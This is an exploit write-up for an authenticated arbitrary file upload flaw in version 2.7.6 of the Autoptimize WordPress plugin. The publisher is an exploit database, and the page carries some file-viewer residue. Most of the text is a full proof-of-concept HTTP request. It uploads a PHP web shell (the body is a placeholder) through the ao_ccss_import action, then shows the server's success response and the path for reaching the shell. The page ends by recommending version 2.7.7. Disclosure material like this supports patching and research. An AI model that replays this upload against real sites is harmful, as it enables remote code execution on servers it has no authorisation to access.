84 lines
No EOL
2.7 KiB
Text
84 lines
No EOL
2.7 KiB
Text
# Exploit Title: Wordpress Plugin Autoptimize 2.7.6 - Arbitrary File Upload (Authenticated)
|
|
# Date: 2020-08-24
|
|
# Software Link: https://wordpress.org/plugins/autoptimize/
|
|
# Author : SunCSR Team
|
|
# Version: v2.7.6
|
|
# Tested on Ubuntu 18.04 / Kali Linux
|
|
# Reference: https://wpvulndb.com/vulnerabilities/10372
|
|
|
|
Description :
|
|
-------------------------------------------------------------------
|
|
|
|
The ao_ccss_import AJAX call does not ensure that the file provided is a
|
|
legitimate Zip file, allowing high privilege users to upload arbitrary
|
|
files, such as PHP, leading to RCE.
|
|
|
|
[POC]
|
|
|
|
Step 1 :
|
|
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: pwnme
|
|
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101
|
|
Firefox/80.0
|
|
Accept: */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Referer:
|
|
http://pwnme.me/wordpress/wp-admin/options-general.php?page=ao_critcss
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Type: multipart/form-data;
|
|
boundary=---------------------------26086940735210916964189813544
|
|
Content-Length: 685
|
|
Origin: http://pwnme
|
|
Connection: close
|
|
Cookie: autoptimize_feed=1;
|
|
wordpress_01c9c451f599e513a69d1e6bb6f8e273=admin%7C1598689405%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7Cc2f54fb4e357d2c591b7e5f53e6adb9531b0de5cc5fbc3cab3185f63917307cd;
|
|
wordpress_test_cookie=WP+Cookie+check;
|
|
wordpress_logged_in_01c9c451f599e513a69d1e6bb6f8e273=admin%7C1598689405%7CiAGVovdBGV28Gk5pKstmbpGqYZA7Zbxq7lUoUBL0y6B%7C409cbfa6f750ff5902273e879e79d9f746c038c35228c978ea9cc3525eb12602;
|
|
wp-settings-time-1=1598516614
|
|
|
|
|
|
-----------------------------404272946439029073744006559647
|
|
Content-Disposition: form-data; name="file"; filename="shell.php"
|
|
Content-Type: application/zip
|
|
|
|
<?php Shell Content Here ! ?>
|
|
-----------------------------404272946439029073744006559647
|
|
Content-Disposition: form-data; name="action"
|
|
|
|
ao_ccss_import
|
|
-----------------------------404272946439029073744006559647
|
|
Content-Disposition: form-data; name="ao_ccss_import_nonce"
|
|
|
|
f25ca64f22
|
|
-----------------------------404272946439029073744006559647--
|
|
|
|
|
|
[Response]
|
|
|
|
HTTP/1.1 200 OK
|
|
Server: nginx/1.14.0 (Ubuntu)
|
|
Date: Thu, 27 Aug 2020 08:21:08 GMT
|
|
Content-Type: text/html; charset=UTF-8
|
|
Connection: close
|
|
Access-Control-Allow-Origin: http://pwnme.me
|
|
Access-Control-Allow-Credentials: true
|
|
X-Robots-Tag: noindex
|
|
X-Content-Type-Options: nosniff
|
|
Expires: Wed, 11 Jan 1984 05:00:00 GMT
|
|
Cache-Control: no-cache, must-revalidate, max-age=0
|
|
X-Frame-Options: SAMEORIGIN
|
|
Referrer-Policy: strict-origin-when-cross-origin
|
|
Content-Length: 53
|
|
|
|
{"code":"200","msg":"Settings imported successfully"}
|
|
|
|
|
|
Step 2: Access to
|
|
http://victim//wordpress/wp-content/uploads/ao_ccss/shell.php
|
|
|
|
|
|
Recommendations: Update to version 2.7.7
|
|
|
|
|
|
Thank you very much! |